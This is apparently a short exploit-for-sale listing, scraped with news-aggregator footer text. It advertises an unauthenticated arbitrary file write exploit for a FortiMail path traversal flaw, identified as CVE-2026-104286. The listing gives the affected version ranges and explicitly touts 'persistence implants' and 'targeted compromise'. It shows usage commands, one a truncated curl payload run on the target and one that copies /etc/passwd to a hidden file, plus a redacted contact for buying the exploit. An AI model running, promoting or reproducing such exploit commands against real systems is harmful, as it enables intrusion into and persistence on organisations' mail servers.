Advanced unauthenticated remote arbitrary file write exploit for CVE-2026-104286 in FortiMail. Crafted HTTP/HTTPS requests bypass path sanitization in the web client, enabling arbitrary file creation on the underlying OS. Used for red team assessment, persistence implants, and targeted compromise of FortiMail deployments.
FortiMail 8.0.x (<8.0.2), 7.6.x (<7.6.6), 7.4.x (<7.4.8), 7.2.x (<7.2.9), 7.0.x (<7.0.10)
Improper limitation of a pathname to a restricted directory (CWE-22). No validation of ../ sequences in file upload paths within the HTTP/HTTPS API handlers, allowing traversal outside the intended upload directory.
$ python3 cve-2026-104286.py -u -c "curl -s
$ python3 cve-2026-104286.py -u -l /etc/passwd -o /var/tmp/.hacked
for exploit: [email protected]
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
